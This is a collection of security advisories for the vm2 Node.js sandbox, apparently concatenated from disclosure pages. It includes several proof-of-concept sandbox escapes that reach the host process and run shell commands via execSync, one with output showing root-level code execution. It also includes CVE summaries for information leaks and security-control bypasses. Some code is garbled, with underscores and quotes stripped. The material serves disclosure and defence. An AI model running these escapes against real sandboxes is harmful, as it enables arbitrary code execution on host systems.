const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]);
const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } );
const hostError = instance.exports.catcherror(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("childprocess").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); );
node poc.js vm2: 3.10.4 | node: v25.6.1
process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Proof files poc.js
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC js const { VM } = require("vm2");
const vm = new VM();
vm.run( const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:childprocess"); execSync("echo pwned", { stdio: "inherit" }); } );
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
js const obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice:()=>'', l:{proto: null} };
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) { if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice; return a; }}); obj.l.x.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The lookupGetter method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context. This allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host apply method which can be accessed through Buffer.apply. Afterwards, this function can be used to call the host version of lookupGetter with Buffer and proto resulting in the prototype lookup method from the host context. With this method the hosts Function.prototype object can be retrieved and the host Function acquired through the constructor property which allows to create and run code in the host context. This issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using Object.getOwnPropertyDescriptor to get the constructor property.
PoC
The following code demonstrates this issue by acquiring the host process object and executing touch pwned.
js const {VM} = require("vm2"); const vm = new VM(); vm.run( const g = ({}).lookupGetter; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['proto']]); Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('childprocess').execSync('touch pwned'); );
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39. This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
js const {VM} = require("vm2"); const vm = new VM(); vm.run( Object.defineProperty=()=>{}; async function fn() { const e = new Error(); e.name = Symbol(); return e.stack; } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('childprocess').execSync('touch pwned'); } ) } } }; p.then(); );
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
In vm2 for versions up to 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code.
Impact Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
Patches None.
Workarounds None.
References PoC is to be disclosed on or after the 5th of September.
Similarity with CVE-2023-37466 While this advisory might look similar to CVE-2023-37466, it is a completely different way of escaping the sandbox.
For more information If you have any questions or comments about this advisory:
- Open an issue in VM2
Thanks to Xion (SeungHyun Lee) of KAIST Hacking Lab for disclosing this vulnerability.
In vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed, allowing attackers to escape the sandbox and run arbitrary code.
Impact Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
Patches None.
Workarounds None.
References PoC - https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9
For more information
If you have any questions or comments about this advisory:
- Open an issue in VM2
Thanks to Xion (SeungHyun Lee) of KAIST Hacking Lab for disclosing this vulnerability.
Summary vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.
Details In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:
- getFileName() — returns host absolute paths like /app/nodemodules/vm2/lib/vm.js - getLineNumber(), getColumnNumber() — exact source locations - getFunctionName(), getMethodName(), getTypeName() — internal function names
Two exploitation paths exist: 1. Default error.stack: new Error().stack includes host frame paths in the formatted string 2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM();
// Path A — Default error.stack const result1 = vm.run(try { null.x; } catch(e) { e.stack }); console.log(result1); // Output includes: /app/nodemodules/vm2/lib/vm.js:289:18 // /app/src/server.js:49:20
// Path B — prepareStackTrace extraction const result2 = vm.run( Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(", "); }; new Error().stack ); console.log(result2); // Output: vm.js, node:vm, /app/nodemodules/vm2/lib/vm.js, /app/src/sandbox.js, ...
HTTP demonstration: bash Default error.stack curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { null.x; } catch(e) { e.stack }"}' Result includes host paths: /app/src/server.js, /app/nodemodules/express/...
prepareStackTrace extraction curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}' Result: /app/nodemodules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...
Impact - Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code. - Attack Chain: Leaked paths enable precise targeting for other vulnerabilities. - Scope: All applications using vm2. No special configuration required.
Summary
A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.
When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:
- Performing identity checks using host-side WeakMap - Mutating host object state from inside the sandbox
This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.
As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.
---
Details
In setup-sandbox.js, vm2 wraps Promise.prototype.then:
js globalPromise.prototype.then = function then(onFulfilled, onRejected) { resetPromiseSpecies(this);
if (typeof onFulfilled === 'function') { const origOnFulfilled = onFulfilled; onFulfilled = function onFulfilled(value) { value = ensureThis(value); return apply(origOnFulfilled, this, [value]); }; }
return apply(globalPromiseThen, this, [onFulfilled, onRejected]); };
The wrapper calls ensureThis(value) before invoking the sandbox callback.
However, ensureThis is implemented in bridge.js as thisEnsureThis():
function thisEnsureThis(other) { const type = typeof other;
switch (type) { case 'object': if (other === null) return null;
case 'function': let proto = thisReflectGetPrototypeOf(other);
if (!proto) { return other; }
while (proto) { const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);
if (mapping) { const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); if (mapped) return mapped; return mapping(defaultFactory, other); }
proto = thisReflectGetPrototypeOf(proto); }
return other;
If no prototype mapping is found, ensureThis() simply returns the original object:
return other;
This means the sandbox receives the original host object instead of a proxied or sanitized representation.
Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.
PoC
The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.
WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.
PoC Code import {VM} from "./index.js";
const hostObj = {tag: "HOSTOBJ"}; const hostPromise = Promise.resolve(hostObj);
// WeakMap created on the host const wm = new WeakMap([[hostObj, "HIT"]]);
const vm = new VM({ sandbox: {hostPromise, wm}, timeout: 1000, eval: false, wasm: false, });
const code = hostPromise.then(v => ({ weakMapGet: wm.get(v), typeofV: typeof v, tag: v.tag })) ;
const result = await vm.run(code);
console.log("VM RESULT:", result); console.log("HOST SAME KEY STILL:", wm.get(hostObj)); Output VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOSTOBJ' } HOST SAME KEY STILL: HIT
This confirms that the object delivered to the sandbox callback retains host identity.
Additional Demonstration: Host Object Mutation
The sandbox can also mutate host object state through the resolved Promise value.
import {VM} from "./index.js";
const hostObj = {tag: "HOSTOBJ", nested: {x: 1}}; const hostPromise = Promise.resolve(hostObj);
const vm = new VM({ sandbox: {hostPromise}, timeout: 1000, eval: false, wasm: false, });
const code = hostPromise.then(v => { v.nested.x = 999; v.tag = "MUTATED"; return { seenTag: v.tag, seenX: v.nested.x }; }) ;
const result = await vm.run(code);
console.log("VM RESULT:", result); console.log("HOST AFTER:", hostObj);
Output: VM RESULT: { seenTag: 'MUTATED', seenX: 999 } HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }
This demonstrates write-through mutation of a host object from sandbox code.
Impact This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.
Consequences include:
Host object identity disclosure
Write-through mutation of host objects
WeakMap / WeakSet identity oracle across the boundary
Potential capability leaks if sensitive host objects are reachable via Promises
Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.
This weakens the intended isolation guarantees of vm2.
Summary vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL variable, which exposes internal security functions (handleException, wrapWith, import).
Details In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken: 1. INTERNALSTATENAME identifier check is bypassed: The AST visitor that blocks access to VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL never runs 2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation 3. The internal state object exposes: handleException(e), wrapWith(x), import(what)
While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM();
// Access internal state (bypassed — no catch/import/async keywords) const result = vm.run( var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(",") ); console.log(result); // "wrapWith,handleException,import"
// Control test — blocked when catch keyword is present try { vm.run( try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message } ); } catch(e) { console.log(e.message); // "Use of internal vm2 state variable" }
HTTP demonstration: bash Internal state access (bypassed) curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(\",\")"}' Result: "wrapWith,handleException,import"
Control test — blocked when catch keyword is present curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message }"}' Result: {"errors":["Use of internal vm2 state variable"]}
Suggested fix: javascript // transformer.js:55 — add 'with' keyword and INTERNALSTATENAME check if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNALSTATENAME) === -1) { return {proto: null, code, hasAsync: false}; }
Impact - Security Control Bypass: The INTERNALSTATENAME access restriction is completely ineffective when the code avoids 3 specific keywords. - Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes. - Scope: All applications using vm2. No special configuration required.
In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
js const { VM } = require("vm2");
const code = const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('childprocess').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); ;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
A flaw was found in the vm2 sandbox when running untrusted code, as the sandbox setup does not manage proper exception handling. This flaw allows an attacker to bypass the sandbox protections and gain remote code execution on the hypervisor host or the host which is running the sandbox.
The package vm2 before 3.9.10 are vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the WeakMap.prototype.set method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.
A flaw was found in vm2 where the component was not properly handling asynchronous errors. This flaw allows a remote, unauthenticated attacker to escape the restrictions of the sandbox and execute code on the host.
There exists a vulnerability in source code transformer (exception sanitization logic) of vm2 for versions up to 3.9.15, allowing attackers to bypass handleException() and leak unsanitized host exceptions which can be used to escape the sandbox and run arbitrary code in host context.
Impact A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.
Patches This vulnerability was patched in the release of version 3.9.16 of vm2.
Workarounds None.
References Github Issue - https://github.com/patriksimek/vm2/issues/516 PoC - https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
For more information
If you have any questions or comments about this advisory:
- Open an issue in VM2
Thanks to Xion (SeungHyun Lee) of KAIST Hacking Lab for disclosing this vulnerability.
A flaw was found in the vm2 sandbox. When exception handling is triggered, an unsanitized host is not managed properly. This issue may allow an attacker to bypass the sandbox protections, which can lead to remote code execution on the hypervisor host or the host that is running the sandbox.
A flaw was found in the vm2. After making a vm, the inspect method is read-write for console.log, which allows an attacker to edit options for console.log. This issue impacts the integrity by changing the log subsystem.
A flaw was found in the vm2 sandbox. When a host object is created based on the specification of Proxy, an attacker can bypass the sandbox protections. This may allow an attacker to run remote code execution on the host running the sandbox. This vulnerability impacts the confidentiality, integrity, and availability of the system.
This affects the package vm2 before 3.9.4 via a Prototype Pollution attack vector, which can lead to execution of arbitrary code on the host machine.